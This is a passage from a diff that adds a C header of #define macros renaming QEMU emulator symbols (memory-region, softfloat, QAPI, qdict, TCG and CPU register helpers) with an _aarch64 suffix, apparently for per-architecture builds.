memory_region_resolve_container memory_region_resolve_container_aarch64 +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_aarch64 +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_aarch64 +#define memory_region_set_address memory_region_set_address_aarch64 +#define memory_region_set_alias_offset memory_region_set_alias_offset_aarch64 +#define memory_region_set_enabled memory_region_set_enabled_aarch64 +#define memory_region_set_readonly memory_region_set_readonly_aarch64 +#define memory_region_set_skip_dump memory_region_set_skip_dump_aarch64 +#define memory_region_size memory_region_size_aarch64 +#define memory_region_to_address_space memory_region_to_address_space_aarch64 +#define memory_region_transaction_begin memory_region_transaction_begin_aarch64 +#define memory_region_transaction_commit memory_region_transaction_commit_aarch64 +#define memory_region_unref memory_region_unref_aarch64 +#define memory_region_update_container_subregions memory_region_update_container_subregions_aarch64 +#define memory_region_write_accessor memory_region_write_accessor_aarch64 +#define memory_region_wrong_endianness memory_region_wrong_endianness_aarch64 +#define memory_try_enable_merging memory_try_enable_merging_aarch64 +#define module_call_init module_call_init_aarch64 +#define module_load module_load_aarch64 +#define mpidr_cp_reginfo mpidr_cp_reginfo_aarch64 +#define mpidr_read mpidr_read_aarch64 +#define msr_mask msr_mask_aarch64 +#define mul128By64To192 mul128By64To192_aarch64 +#define mul128To256 mul128To256_aarch64 +#define mul64To128 mul64To128_aarch64 +#define muldiv64 muldiv64_aarch64 +#define neon_2rm_is_float_op neon_2rm_is_float_op_aarch64 +#define neon_2rm_sizes neon_2rm_sizes_aarch64 +#define neon_3r_sizes neon_3r_sizes_aarch64 +#define neon_get_scalar neon_get_scalar_aarch64 +#define neon_load_reg neon_load_reg_aarch64 +#define neon_load_reg64 neon_load_reg64_aarch64 +#define neon_load_scratch neon_load_scratch_aarch64 +#define neon_ls_element_type neon_ls_element_type_aarch64 +#define neon_reg_offset neon_reg_offset_aarch64 +#define neon_store_reg neon_store_reg_aarch64 +#define neon_store_reg64 neon_store_reg64_aarch64 +#define neon_store_scratch neon_store_scratch_aarch64 +#define new_ldst_label new_ldst_label_aarch64 +#define next_list next_list_aarch64 +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_aarch64 +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_aarch64 +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_aarch64 +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_aarch64 +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_aarch64 +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_aarch64 +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_aarch64 +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_aarch64 +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_aarch64 +#define not_v6_cp_reginfo not_v6_cp_reginfo_aarch64 +#define not_v7_cp_reginfo not_v7_cp_reginfo_aarch64 +#define not_v8_cp_reginfo not_v8_cp_reginfo_aarch64 +#define object_child_foreach object_child_foreach_aarch64 +#define object_class_foreach object_class_foreach_aarch64 +#define object_class_foreach_tramp object_class_foreach_tramp_aarch64 +#define object_class_get_list object_class_get_list_aarch64 +#define object_class_get_list_tramp object_class_get_list_tramp_aarch64 +#define object_class_get_parent object_class_get_parent_aarch64 +#define object_deinit object_deinit_aarch64 +#define object_dynamic_cast object_dynamic_cast_aarch64 +#define object_finalize object_finalize_aarch64 +#define object_finalize_child_property object_finalize_child_property_aarch64 +#define object_get_child_property object_get_child_property_aarch64 +#define object_get_link_property object_get_link_property_aarch64 +#define object_get_root object_get_root_aarch64 +#define object_initialize_with_type object_initialize_with_type_aarch64 +#define object_init_with_type object_init_with_type_aarch64 +#define object_instance_init object_instance_init_aarch64 +#define object_new_with_type object_new_with_type_aarch64 +#define object_post_init_with_type object_post_init_with_type_aarch64 +#define object_property_add_alias object_property_add_alias_aarch64 +#define object_property_add_link object_property_add_link_aarch64 +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_aarch64 +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_aarch64 +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_aarch64 +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_aarch64 +#define object_property_allow_set_link object_property_allow_set_link_aarch64 +#define object_property_del object_property_del_aarch64 +#define object_property_del_all object_property_del_all_aarch64 +#define object_property_find object_property_find_aarch64 +#define object_property_get object_property_get_aarch64 +#define object_property_get_bool object_property_get_bool_aarch64 +#define object_property_get_int object_property_get_int_aarch64 +#define object_property_get_link object_property_get_link_aarch64 +#define object_property_get_qobject object_property_get_qobject_aarch64 +#define object_property_get_str object_property_get_str_aarch64 +#define object_property_get_type object_property_get_type_aarch64 +#define object_property_is_child object_property_is_child_aarch64 +#define object_property_set object_property_set_aarch64 +#define object_property_set_description object_property_set_description_aarch64 +#define object_property_set_link object_property_set_link_aarch64 +#define object_property_set_qobject object_property_set_qobject_aarch64 +#define object_release_link_property object_release_link_property_aarch64 +#define object_resolve_abs_path object_resolve_abs_path_aarch64 +#define object_resolve_child_property object_resolve_child_property_aarch64 +#define object_resolve_link object_resolve_link_aarch64 +#define object_resolve_link_property object_resolve_link_property_aarch64 +#define object_resolve_partial_path object_resolve_partial_path_aarch64 +#define object_resolve_path object_resolve_path_aarch64 +#define object_resolve_path_component object_resolve_path_component_aarch64 +#define object_resolve_path_type object_resolve_path_type_aarch64 +#define object_set_link_property object_set_link_property_aarch64 +#define object_unparent object_unparent_aarch64 +#define omap_cachemaint_write omap_cachemaint_write_aarch64 +#define omap_cp_reginfo omap_cp_reginfo_aarch64 +#define omap_threadid_write omap_threadid_write_aarch64 +#define omap_ticonfig_write omap_ticonfig_write_aarch64 +#define omap_wfi_write omap_wfi_write_aarch64 +#define op_bits op_bits_aarch64 +#define open_modeflags open_modeflags_aarch64 +#define op_to_mov op_to_mov_aarch64 +#define op_to_movi op_to_movi_aarch64 +#define output_type_enum output_type_enum_aarch64 +#define packFloat128 packFloat128_aarch64 +#define packFloat16 packFloat16_aarch64 +#define packFloat32 packFloat32_aarch64 +#define packFloat64 packFloat64_aarch64 +#define packFloatx80 packFloatx80_aarch64 +#define page_find page_find_aarch64 +#define page_find_alloc page_find_alloc_aarch64 +#define page_flush_tb page_flush_tb_aarch64 +#define page_flush_tb_1 page_flush_tb_1_aarch64 +#define page_init page_init_aarch64 +#define page_size_init page_size_init_aarch64 +#define par par_aarch64 +#define parse_array parse_array_aarch64 +#define parse_error parse_error_aarch64 +#define parse_escape parse_escape_aarch64 +#define parse_keyword parse_keyword_aarch64 +#define parse_literal parse_literal_aarch64 +#define parse_object parse_object_aarch64 +#define parse_optional parse_optional_aarch64 +#define parse_option_bool parse_option_bool_aarch64 +#define parse_option_number parse_option_number_aarch64 +#define parse_option_size parse_option_size_aarch64 +#define parse_pair parse_pair_aarch64 +#define parser_context_free parser_context_free_aarch64 +#define parser_context_new parser_context_new_aarch64 +#define parser_context_peek_token parser_context_peek_token_aarch64 +#define parser_context_pop_token parser_context_pop_token_aarch64 +#define parser_context_restore parser_context_restore_aarch64 +#define parser_context_save parser_context_save_aarch64 +#define parse_str parse_str_aarch64 +#define parse_type_bool parse_type_bool_aarch64 +#define parse_type_int parse_type_int_aarch64 +#define parse_type_number parse_type_number_aarch64 +#define parse_type_size parse_type_size_aarch64 +#define parse_type_str parse_type_str_aarch64 +#define parse_value parse_value_aarch64 +#define par_write par_write_aarch64 +#define patch_reloc patch_reloc_aarch64 +#define phys_map_node_alloc phys_map_node_alloc_aarch64 +#define phys_map_node_reserve phys_map_node_reserve_aarch64 +#define phys_mem_alloc phys_mem_alloc_aarch64 +#define phys_mem_set_alloc phys_mem_set_alloc_aarch64 +#define phys_page_compact phys_page_compact_aarch64 +#define phys_page_compact_all phys_page_compact_all_aarch64 +#define phys_page_find phys_page_find_aarch64 +#define phys_page_set phys_page_set_aarch64 +#define phys_page_set_level phys_page_set_level_aarch64 +#define phys_section_add phys_section_add_aarch64 +#define phys_section_destroy phys_section_destroy_aarch64 +#define phys_sections_free phys_sections_free_aarch64 +#define pickNaN pickNaN_aarch64 +#define pickNaNMulAdd pickNaNMulAdd_aarch64 +#define pmccfiltr_write pmccfiltr_write_aarch64 +#define pmccntr_read pmccntr_read_aarch64 +#define pmccntr_sync pmccntr_sync_aarch64 +#define pmccntr_write pmccntr_write_aarch64 +#define pmccntr_write32 pmccntr_write32_aarch64 +#define pmcntenclr_write pmcntenclr_write_aarch64 +#define pmcntenset_write pmcntenset_write_aarch64 +#define pmcr_write pmcr_write_aarch64 +#define pmintenclr_write pmintenclr_write_aarch64 +#define pmintenset_write pmintenset_write_aarch64 +#define pmovsr_write pmovsr_write_aarch64 +#define pmreg_access pmreg_access_aarch64 +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_aarch64 +#define pmsav5_data_ap_read pmsav5_data_ap_read_aarch64 +#define pmsav5_data_ap_write pmsav5_data_ap_write_aarch64 +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_aarch64 +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_aarch64 +#define pmuserenr_write pmuserenr_write_aarch64 +#define pmxevtyper_write pmxevtyper_write_aarch64 +#define print_type_bool print_type_bool_aarch64 +#define print_type_int print_type_int_aarch64 +#define print_type_number print_type_number_aarch64 +#define print_type_size print_type_size_aarch64 +#define print_type_str print_type_str_aarch64 +#define propagateFloat128NaN propagateFloat128NaN_aarch64 +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_aarch64 +#define propagateFloat32NaN propagateFloat32NaN_aarch64 +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_aarch64 +#define propagateFloat64NaN propagateFloat64NaN_aarch64 +#define propagateFloatx80NaN propagateFloatx80NaN_aarch64 +#define property_get_alias property_get_alias_aarch64 +#define property_get_bool property_get_bool_aarch64 +#define property_get_str property_get_str_aarch64 +#define property_get_uint16_ptr property_get_uint16_ptr_aarch64 +#define property_get_uint32_ptr property_get_uint32_ptr_aarch64 +#define property_get_uint64_ptr property_get_uint64_ptr_aarch64 +#define property_get_uint8_ptr property_get_uint8_ptr_aarch64 +#define property_release_alias property_release_alias_aarch64 +#define property_release_bool property_release_bool_aarch64 +#define property_release_str property_release_str_aarch64 +#define property_resolve_alias property_resolve_alias_aarch64 +#define property_set_alias property_set_alias_aarch64 +#define property_set_bool property_set_bool_aarch64 +#define property_set_str property_set_str_aarch64 +#define pstate_read pstate_read_aarch64 +#define pstate_write pstate_write_aarch64 +#define pxa250_initfn pxa250_initfn_aarch64 +#define pxa255_initfn pxa255_initfn_aarch64 +#define pxa260_initfn pxa260_initfn_aarch64 +#define pxa261_initfn pxa261_initfn_aarch64 +#define pxa262_initfn pxa262_initfn_aarch64 +#define pxa270a0_initfn pxa270a0_initfn_aarch64 +#define pxa270a1_initfn pxa270a1_initfn_aarch64 +#define pxa270b0_initfn pxa270b0_initfn_aarch64 +#define pxa270b1_initfn pxa270b1_initfn_aarch64 +#define pxa270c0_initfn pxa270c0_initfn_aarch64 +#define pxa270c5_initfn pxa270c5_initfn_aarch64 +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_aarch64 +#define qapi_dealloc_end_list qapi_dealloc_end_list_aarch64 +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_aarch64 +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_aarch64 +#define qapi_dealloc_next_list qapi_dealloc_next_list_aarch64 +#define qapi_dealloc_pop qapi_dealloc_pop_aarch64 +#define qapi_dealloc_push qapi_dealloc_push_aarch64 +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_aarch64 +#define qapi_dealloc_start_list qapi_dealloc_start_list_aarch64 +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_aarch64 +#define qapi_dealloc_start_union qapi_dealloc_start_union_aarch64 +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_aarch64 +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_aarch64 +#define qapi_dealloc_type_int qapi_dealloc_type_int_aarch64 +#define qapi_dealloc_type_number qapi_dealloc_type_number_aarch64 +#define qapi_dealloc_type_size qapi_dealloc_type_size_aarch64 +#define qapi_dealloc_type_str qapi_dealloc_type_str_aarch64 +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_aarch64 +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_aarch64 +#define qapi_free_boolList qapi_free_boolList_aarch64 +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_aarch64 +#define qapi_free_int16List qapi_free_int16List_aarch64 +#define qapi_free_int32List qapi_free_int32List_aarch64 +#define qapi_free_int64List qapi_free_int64List_aarch64 +#define qapi_free_int8List qapi_free_int8List_aarch64 +#define qapi_free_intList qapi_free_intList_aarch64 +#define qapi_free_numberList qapi_free_numberList_aarch64 +#define qapi_free_strList qapi_free_strList_aarch64 +#define qapi_free_uint16List qapi_free_uint16List_aarch64 +#define qapi_free_uint32List qapi_free_uint32List_aarch64 +#define qapi_free_uint64List qapi_free_uint64List_aarch64 +#define qapi_free_uint8List qapi_free_uint8List_aarch64 +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_aarch64 +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_aarch64 +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_aarch64 +#define qbool_destroy_obj qbool_destroy_obj_aarch64 +#define qbool_from_int qbool_from_int_aarch64 +#define qbool_get_int qbool_get_int_aarch64 +#define qbool_type qbool_type_aarch64 +#define qbus_create qbus_create_aarch64 +#define qbus_create_inplace qbus_create_inplace_aarch64 +#define qbus_finalize qbus_finalize_aarch64 +#define qbus_initfn qbus_initfn_aarch64 +#define qbus_realize qbus_realize_aarch64 +#define qdev_create qdev_create_aarch64 +#define qdev_get_type qdev_get_type_aarch64 +#define qdev_register_types qdev_register_types_aarch64 +#define qdev_set_parent_bus qdev_set_parent_bus_aarch64 +#define qdev_try_create qdev_try_create_aarch64 +#define qdict_add_key qdict_add_key_aarch64 +#define qdict_array_split qdict_array_split_aarch64 +#define qdict_clone_shallow qdict_clone_shallow_aarch64 +#define qdict_del qdict_del_aarch64 +#define qdict_destroy_obj qdict_destroy_obj_aarch64 +#define qdict_entry_key qdict_entry_key_aarch64 +#define qdict_entry_value qdict_entry_value_aarch64 +#define qdict_extract_subqdict qdict_extract_subqdict_aarch64 +#define qdict_find qdict_find_aarch64 +#define qdict_first qdict_first_aarch64 +#define qdict_flatten qdict_flatten_aarch64 +#define qdict_flatten_qdict qdict_flatten_qdict_aarch64 +#define qdict_flatten_qlist qdict_flatten_qlist_aarch64 +#define qdict_get qdict_get_aarch64 +#define qdict_get_bool qdict_get_bool_aarch64 +#define qdict_get_double qdict_get_double_aarch64 +#define qdict_get_int qdict_get_int_aarch64 +#define qdict_get_obj qdict_get_obj_aarch64 +#define qdict_get_qdict qdict_get_qdict_aarch64 +#define qdict_get_qlist qdict_get_qlist_aarch64 +#define qdict_get_str qdict_get_str_aarch64 +#define qdict_get_try_bool qdict_get_try_bool_aarch64 +#define qdict_get_try_int qdict_get_try_int_aarch64 +#define qdict_get_try_str qdict_get_try_str_aarch64 +#define qdict_haskey qdict_haskey_aarch64 +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_aarch64 +#define qdict_iter qdict_iter_aarch64 +#define qdict_join qdict_join_aarch64 +#define qdict_new qdict_new_aarch64 +#define qdict_next qdict_next_aarch64 +#define qdict_next_entry qdict_next_entry_aarch64 +#define qdict_put_obj qdict_put_obj_aarch64 +#define qdict_size qdict_size_aarch64 +#define qdict_type qdict_type_aarch64 +#define qemu_clock_get_us qemu_clock_get_us_aarch64 +#define qemu_clock_ptr qemu_clock_ptr_aarch64 +#define qemu_clocks qemu_clocks_aarch64 +#define qemu_get_cpu qemu_get_cpu_aarch64 +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_aarch64 +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_aarch64 +#define qemu_get_ram_block qemu_get_ram_block_aarch64 +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_aarch64 +#define qemu_get_ram_fd qemu_get_ram_fd_aarch64 +#define qemu_get_ram_ptr qemu_get_ram_ptr_aarch64 +#define qemu_host_page_mask qemu_host_page_mask_aarch64 +#define qemu_host_page_size qemu_host_page_size_aarch64 +#define qemu_init_vcpu qemu_init_vcpu_aarch64 +#define qemu_ld_helpers qemu_ld_helpers_aarch64 +#define qemu_log_close qemu_log_close_aarch64 +#define qemu_log_enabled qemu_log_enabled_aarch64 +#define qemu_log_flush qemu_log_flush_aarch64 +#define qemu_loglevel_mask qemu_loglevel_mask_aarch64 +#define qemu_log_vprintf qemu_log_vprintf_aarch64 +#define qemu_oom_check qemu_oom_check_aarch64 +#define qemu_parse_fd qemu_parse_fd_aarch64 +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_aarch64 +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_aarch64 +#define qemu_ram_alloc qemu_ram_alloc_aarch64 +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_aarch64 +#define qemu_ram_foreach_block qemu_ram_foreach_block_aarch64 +#define qemu_ram_free qemu_ram_free_aarch64 +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_aarch64 +#define qemu_ram_ptr_length qemu_ram_ptr_length_aarch64 +#define qemu_ram_remap qemu_ram_remap_aarch64 +#define qemu_ram_setup_dump qemu_ram_setup_dump_aarch64 +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_aarch64 +#define qemu_real_host_page_size qemu_real_host_page_size_aarch64 +#define qemu_st_helpers qemu_st_helpers_aarch64 +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_aarch64 +#define qemu_try_memalign qemu_try_memalign_aarch64 +#define qentry_destroy qentry_destroy_aarch64 +#define qerror_human qerror_human_aarch64 +#define qerror_report qerror_report_aarch64 +#define qerror_report_err qerror_report_err_aarch64 +#define qfloat_destroy_obj qfloat_destroy_obj_aarch64 +#define qfloat_from_double qfloat_from_double_aarch64 +#define qfloat_get_double qfloat_get_double_aarch64 +#define qfloat_type qfloat_type_aarch64 +#define qint_destroy_obj qint_destroy_obj_aarch64 +#define qint_from_int qint_from_int_aarch64 +#define qint_get_int qint_get_int_aarch64 +#define qint_type qint_type_aarch64 +#define qlist_append_obj qlist_append_obj_aarch64 +#define qlist_copy qlist_copy_aarch64 +#define qlist_copy_elem qlist_copy_elem_aarch64 +#define qlist_destroy_obj qlist_destroy_obj_aarch64 +#define qlist_empty qlist_empty_aarch64 +#define qlist_entry_obj qlist_entry_obj_aarch64 +#define qlist_first qlist_first_aarch64 +#define qlist_iter qlist_iter_aarch64 +#define qlist_new qlist_new_aarch64 +#define qlist_next qlist_next_aarch64 +#define qlist_peek qlist_peek_aarch64 +#define qlist_pop qlist_pop_aarch64 +#define qlist_size qlist_size_aarch64 +#define qlist_size_iter qlist_size_iter_aarch64 +#define qlist_type qlist_type_aarch64 +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_aarch64 +#define qmp_input_end_list qmp_input_end_list_aarch64 +#define qmp_input_end_struct qmp_input_end_struct_aarch64 +#define qmp_input_get_next_type qmp_input_get_next_type_aarch64 +#define qmp_input_get_object qmp_input_get_object_aarch64 +#define qmp_input_get_visitor qmp_input_get_visitor_aarch64 +#define qmp_input_next_list qmp_input_next_list_aarch64 +#define qmp_input_optional qmp_input_optional_aarch64 +#define qmp_input_pop qmp_input_pop_aarch64 +#define qmp_input_push qmp_input_push_aarch64 +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_aarch64 +#define qmp_input_start_list qmp_input_start_list_aarch64 +#define qmp_input_start_struct qmp_input_start_struct_aarch64 +#define qmp_input_type_bool qmp_input_type_bool_aarch64 +#define qmp_input_type_int qmp_input_type_int_aarch64 +#define qmp_input_type_number qmp_input_type_number_aarch64 +#define qmp_input_type_str qmp_input_type_str_aarch64 +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_aarch64 +#define qmp_input_visitor_new qmp_input_visitor_new_aarch64 +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_aarch64 +#define qmp_output_add_obj qmp_output_add_obj_aarch64 +#define qmp_output_end_list qmp_output_end_list_aarch64 +#define qmp_output_end_struct qmp_output_end_struct_aarch64 +#define qmp_output_first qmp_output_first_aarch64 +#define qmp_output_get_qobject qmp_output_get_qobject_aarch64 +#define qmp_output_get_visitor qmp_output_get_visitor_aarch64 +#define qmp_output_last qmp_output_last_aarch64 +#define qmp_output_next_list qmp_output_next_list_aarch64 +#define qmp_output_pop qmp_output_pop_aarch64 +#define qmp_output_push_obj qmp_output_push_obj_aarch64 +#define qmp_output_start_list qmp_output_start_list_aarch64 +#define qmp_output_start_struct qmp_output_start_struct_aarch64 +#define qmp_output_type_bool qmp_output_type_bool_aarch64 +#define qmp_output_type_int qmp_output_type_int_aarch64 +#define qmp_output_type_number qmp_output_type_number_aarch64 +#define qmp_output_type_str qmp_output_type_str_aarch64 +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_aarch64 +#define qmp_output_visitor_new qmp_output_visitor_new_aarch64 +#define qobject_decref qobject_decref_aarch64 +#define qobject_to_qbool qobject_to_qbool_aarch64 +#define qobject_to_qdict qobject_to_qdict_aarch64 +#define qobject_to_qfloat qobject_to_qfloat_aarch64 +#define qobject_to_qint qobject_to_qint_aarch64 +#define qobject_to_qlist qobject_to_qlist_aarch64 +#define qobject_to_qstring qobject_to_qstring_aarch64 +#define qobject_type qobject_type_aarch64 +#define qstring_append qstring_append_aarch64 +#define qstring_append_chr qstring_append_chr_aarch64 +#define qstring_append_int qstring_append_int_aarch64 +#define qstring_destroy_obj qstring_destroy_obj_aarch64 +#define qstring_from_escaped_str qstring_from_escaped_str_aarch64 +#define qstring_from_str qstring_from_str_aarch64 +#define qstring_from_substr qstring_from_substr_aarch64 +#define qstring_get_length qstring_get_length_aarch64 +#define qstring_get_str qstring_get_str_aarch64 +#define qstring_new qstring_new_aarch64 +#define qstring_type qstring_type_aarch64 +#define ram_block_add ram_block_add_aarch64 +#define ram_size ram_size_aarch64 +#define range_compare range_compare_aarch64 +#define range_covers_byte range_covers_byte_aarch64 +#define range_get_last range_get_last_aarch64 +#define range_merge range_merge_aarch64 +#define ranges_can_merge ranges_can_merge_aarch64 +#define raw_read raw_read_aarch64 +#define raw_write raw_write_aarch64 +#define rcon rcon_aarch64 +#define read_raw_cp_reg read_raw_cp_reg_aarch64 +#define recip_estimate recip_estimate_aarch64 +#define recip_sqrt_estimate recip_sqrt_estimate_aarch64 +#define register_cp_regs_for_features register_cp_regs_for_features_aarch64 +#define register_multipage register_multipage_aarch64 +#define register_subpage register_subpage_aarch64 +#define register_tm_clones register_tm_clones_aarch64 +#define register_types_object register_types_object_aarch64 +#define regnames regnames_aarch64 +#define render_memory_region render_memory_region_aarch64 +#define reset_all_temps reset_all_temps_aarch64 +#define reset_temp reset_temp_aarch64 +#define rol32 rol32_aarch64 +#define rol64 rol64_aarch64 +#define ror32 ror32_aarch64 +#define ror64 ror64_aarch64 +#define roundAndPackFloat128 roundAndPackFloat128_aarch64 +#define roundAndPackFloat16 roundAndPackFloat16_aarch64 +#define roundAndPackFloat32 roundAndPackFloat32_aarch64 +#define roundAndPackFloat64 roundAndPackFloat64_aarch64 +#define roundAndPackFloatx80 roundAndPackFloatx80_aarch64 +#define roundAndPackInt32 roundAndPackInt32_aarch64 +#define roundAndPackInt64 roundAndPackInt64_aarch64 +#define roundAndPackUint64 roundAndPackUint64_aarch64 +#define round_to_inf round_to_inf_aarch64 +#define run_on_cpu run_on_cpu_aarch64 +#define s0 s0_aarch64 +#define S0 S0_aarch64 +#define s1 s1_aarch64 +#define S1 S1_aarch64 +#define sa1100_initfn sa1100_initfn_aarch64 +#define sa1110_initfn sa1110_initfn_aarch64 +#define save_globals save_globals_aarch64 +#define scr_write scr_write_aarch64 +#define sctlr_write sctlr_write_aarch64 +#define set_bit set_bit_aarch64 +#define set_bits set_bits_aarch64 +#define set_default_nan_mode set_default_nan_mode_aarch64 +#define set_feature set_feature_aarch64 +#define set_float_detect_tininess set_float_detect_tininess_aarch64 +#define set_float_exception_flags set_float_exception_flags_aarch64 +#define set_float_rounding_mode set_float_rounding_mode_aarch64 +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_aarch64 +#define set_flush_to_zero set_flush_to_zero_aarch64 +#define set_swi_errno set_swi_errno_aarch64 +#define sextract32 sextract32_aarch64 +#define sextract64 sextract64_aarch64 +#define shift128ExtraRightJamming shift128ExtraRightJamming_aarch64 +#define shift128Right shift128Right_aarch64 +#define shift128RightJamming shift128RightJamming_aarch64 +#define shift32RightJamming shift32RightJamming_aarch64 +#define shift64ExtraRightJamming shift64ExtraRightJamming_aarch64 +#define shift64RightJamming shift64RightJamming_aarch64 +#define shifter_out_im shifter_out_im_aarch64 +#define shortShift128Left shortShift128Left_aarch64 +#define shortShift192Left shortShift192Left_aarch64 +#define simple_mpu_ap_bits simple_mpu_ap_bits_aarch64 +#define size_code_gen_buffer size_code_gen_buffer_aarch64 +#define softmmu_lock_user softmmu_lock_user_aarch64 +#define softmmu_lock_user_string softmmu_lock_user_string_aarch64 +#define softmmu_tget32 softmmu_tget32_aarch64 +#define softmmu_tget8 softmmu_tget8_aarch64 +#define softmmu_tput32 softmmu_tput32_aarch64 +#define softmmu_unlock_user softmmu_unlock_user_aarch64 +#define sort_constraints sort_constraints_aarch64 +#define sp_el0_access sp_el0_access_aarch64 +#define spsel_read spsel_read_aarch64 +#define spsel_write spsel_write_aarch64 +#define start_list start_list_aarch64 +#define stb_p stb_p_aarch64 +#define stb_phys stb_phys_aarch64 +#define stl_be_p stl_be_p_aarch64 +#define stl_be_phys stl_be_phys_aarch64 +#define stl_he_p stl_he_p_aarch64 +#define stl_le_p stl_le_p_aarch64 +#define stl_le_phys stl_le_phys_aarch64 +#define stl_phys stl_phys_aarch64 +#define stl_phys_internal stl_phys_internal_aarch64 +#define stl_phys_notdirty stl_phys_notdirty_aarch64 +#define store_cpu_offset store_cpu_offset_aarch64 +#define store_reg store_reg_aarch64 +#define store_reg_bx store_reg_bx_aarch64 +#define store_reg_from_load store_reg_from_load_aarch64 +#define stq_be_p stq_be_p_aarch64 +#define stq_be_phys stq_be_phys_aarch64 +#define stq_he_p stq_he_p_aarch64 +#define stq_le_p stq_le_p_aarch64 +#define stq_le_phys stq_le_phys_aarch64 +#define stq_phys stq_phys_aarch64 +#define string_input_get_visitor string_input_get_visitor_aarch64 +#define string_input_visitor_cleanup string_input_visitor_cleanup_aarch64 +#define string_input_visitor_new string_input_visitor_new_aarch64 +#define strongarm_cp_reginfo strongarm_cp_reginfo_aarch64 +#define strstart strstart_aarch64 +#define strtosz strtosz_aarch64 +#define strtosz_suffix strtosz_suffix_aarch64 +#define stw_be_p stw_be_p_aarch64 +#define stw_be_phys stw_be_phys_aarch64 +#define stw_he_p stw_he_p_aarch64 +#define stw_le_p stw_le_p_aarch64 +#define stw_le_phys stw_le_phys_aarch64 +#define stw_phys stw_phys_aarch64 +#define stw_phys_internal stw_phys_internal_aarch64 +#define sub128 sub128_aarch64 +#define sub16_sat sub16_sat_aarch64 +#define sub16_usat sub16_usat_aarch64 +#define sub192 sub192_aarch64 +#define sub8_sat sub8_sat_aarch64 +#define sub8_usat sub8_usat_aarch64 +#define subFloat128Sigs subFloat128Sigs_aarch64 +#define subFloat32Sigs subFloat32Sigs_aarch64 +#define subFloat64Sigs subFloat64Sigs_aarch64 +#define subFloatx80Sigs subFloatx80Sigs_aarch64 +#define subpage_accepts subpage_accepts_aarch64 +#define subpage_init subpage_init_aarch64 +#define subpage_ops subpage_ops_aarch64 +#define subpage_read subpage_read_aarch64 +#define subpage_register subpage_register_aarch64 +#define subpage_write subpage_write_aarch64 +#define suffix_mul suffix_mul_aarch64 +#define swap_commutative swap_commutative_aarch64 +#define swap_commutative2 swap_commutative2_aarch64 +#define switch_mode switch_mode_aarch64 +#define switch_v7m_sp switch_v7m_sp_aarch64 +#define syn_aa32_bkpt syn_aa32_bkpt_aarch64 +#define syn_aa32_hvc syn_aa32_hvc_aarch64 +#define syn_aa32_smc syn_aa32_smc_aarch64 +#define syn_aa32_svc syn_aa32_svc_aarch64 +#define syn_breakpoint syn_breakpoint_aarch64 +#define sync_globals sync_globals_aarch64 +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_aarch64 +#define syn_cp14_rt_trap syn_cp14_rt_trap_aarch64 +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_aarch64 +#define syn_cp15_rt_trap syn_cp15_rt_trap_aarch64 +#define syn_data_abort syn_data_abort_aarch64 +#define syn_fp_access_trap syn_fp_access_trap_aarch64 +#define syn_insn_abort syn_insn_abort_aarch64 +#define syn_swstep syn_swstep_aarch64 +#define syn_uncategorized syn_uncategorized_aarch64 +#define syn_watchpoint syn_watchpoint_aarch64 +#define syscall_err syscall_err_aarch64 +#define system_bus_class_init system_bus_class_init_aarch64 +#define system_bus_info system_bus_info_aarch64 +#define t2ee_cp_reginfo t2ee_cp_reginfo_aarch64 +#define table_logic_cc table_logic_cc_aarch64 +#define target_parse_constraint target_parse_constraint_aarch64 +#define target_words_bigendian target_words_bigendian_aarch64 +#define tb_add_jump tb_add_jump_aarch64 +#define tb_alloc tb_alloc_aarch64 +#define tb_alloc_page tb_alloc_page_aarch64 +#define tb_check_watchpoint tb_check_watchpoint_aarch64 +#define tb_find_fast tb_find_fast_aarch64 +#define tb_find_pc tb_find_pc_aarch64 +#define tb_find_slow tb_find_slow_aarch64 +#define tb_flush 